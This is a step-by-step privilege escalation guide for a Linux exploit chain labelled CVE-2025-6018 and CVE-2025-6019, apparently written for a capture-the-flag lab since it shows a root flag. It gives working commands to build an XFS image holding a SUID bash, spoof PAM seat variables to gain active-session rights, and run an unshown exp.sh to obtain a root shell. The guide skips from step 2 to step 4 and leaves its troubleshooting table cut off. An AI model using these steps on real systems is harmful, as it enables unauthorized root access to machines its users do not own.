CVE-2025-6018 + CVE-2025-6019 Privilege Escalation Guide
📋 Quick Exploitation Steps
Step 1: Prepare XFS Image (Local Machine)
# Create 300MB XFS image
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image
# Mount and install SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt
# Verify (should show 300M)
ls -lh xfs.image
Step 2: Upload Files to Target
# SSH login to target
ssh [email protected]
# Write PAM environment variables
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF
# Verify configuration
cat ~/.pam_environment
# 🔥 Critical: Logout (to activate PAM config)
exit
Step 4: Second Login - Execute Privilege Escalation
# Re-login via SSH (PAM config now active)
ssh [email protected]
# Verify PAM is active (should return "('yes',)")
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# Execute privilege escalation script
bash exp.sh
✅ Success Indicators
If exploitation succeeds, you should see:
✓ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
✓ Root access confirmed!
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║ ROOT FLAG ║
║ <flag_here> ║
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bash-5.2# whoami
root
🔧 Troubleshooting
| Issue | Solution |
|---|
CanReboot returns |
📌 Key Points
- ✅ Must logout and re-login: PAM config only takes effect in new sessions
- ✅ Verify CanReboot: Confirm it returns
('yes',) before running script
- ✅ Use SSH login: Don't use
ssh -t user@host "cmd" style execution
🐱 Cat Guardian
If it fails, ensure every step is executed strictly in order!